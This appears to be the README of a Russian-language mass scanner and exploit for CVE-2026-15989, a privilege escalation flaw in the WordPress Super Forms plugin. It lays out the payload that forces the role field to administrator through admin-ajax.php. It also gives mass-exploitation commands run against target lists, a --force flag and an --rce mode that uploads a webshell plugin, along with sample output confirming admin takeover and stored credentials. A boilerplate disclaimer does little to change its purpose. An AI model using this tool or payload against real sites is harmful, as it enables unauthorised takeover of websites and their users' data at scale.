
Массовый сканер и эксплойт для CVE-2026-15989 — неаутентифицированного повышения привилегий в Super Forms <= 6.3.316, позволяющего создавать учётные записи администратора через параметр role.
Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — повышение привилегий
без аутентификации через параметр role премиум-дополнения Register & Login.
| Атрибут | Детали |
|---|---|
| CVE ID | CVE-2026-15989 |
| Цепочка | форма регистрации → 'role' в $other_userdata → wp_insert_user(role=administrator) → ADMIN |
| Критичность | 🔴 КРИТИЧЕСКАЯ (CVSS 9.8) |
| Цель | Super Forms – Drag & Drop Form Builder + премиум-дополнение Register & Login |
| Затронуто | ≤ 6.3.316 (ядро) — уязвимые сборки дополнения (v1.x) |
| Исправлено | 6.3.317 |
| Требуется аутентификация | Нет |
Дополнение устанавливает роль нового пользователя из настроек формы
($userdata['role'] = $settings['register_user_role']), затем перебирает
$other_userdata — который содержит 'role' — и перезаписывает любой ключ
значением, предоставленным клиентом ($data['role']['value']), перед вызовом wp_insert_user().
POST /wp-admin/admin-ajax.php (unauthenticated)
│
▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
│
▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
│
▼
wp_insert_user() ─► administrator account created
│
▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session
Исправление (6.3.317): 'role' удалён из белого списка + get_safe_public_registration_role() (fail-closed).
Оригинальное исследование — протокол двойной отправки: ядро сменило протоколы на версии v5.0.0.
| Ядро | Действие | Формат данных | Nonce |
|---|---|---|---|
| 4.x | super_send_email | вложенные поля (data[role][value]=...) | нет (проверки закомментированы) |
| 5.x/6.x | super_submit_form | строка JSON | sf_nonce через super_create_nonce |
Инструмент автоматически выбирает протокол на основе обнаруженной версии.
# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup
# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure
# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure
| Опция | Описание |
|---|---|
--list FILE | По одной цели на строку; URL|form_id или URL|form_id=ID,email=X на строку |
-u/--target, --port | Одна цель |
--threads, --timeout, --no-dedup | Настройка массового режима |
--force | Отправлять полезную нагрузку даже без обнаруженной формы регистрации |
--only-hits / --quiet | Дерево только для подтверждённых попаданий / минимальный вывод |
--reset | Завершение verify-режима через lost-password (оператор вставляет ссылку сброса) |
--only-login | Пропустить регистрацию; войти и проверить роль через users/me |
--login / --rce | Постэксплуатация на реальной цели: подтверждение входа / загрузка плагина-вебшелла |
-k/--insecure | Игнорировать TLS |
│ ├─ plugin : 6.3.316 — VULNERABLE <= 6.3.316
│ ├─ addon : v1.8.7
│ ├─ form : 4169 (/register/)
│ ├─ proto : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│ ├─ payload : HTTP 200 ✓ processed
│ └─ session : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED
hits.txt — только подтверждённые цели (ts|url|status|detail, с пользователем/паролем)readme.txt Stable tag + common.js?ver=; проба дополнения + его собственная версия/wp-json/wp/v2/users/me?context=edit (резерв: users.php / dashboard)├── CVE-2026-15989.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
wp-admin/ на наличие неожиданных учётных записей администратора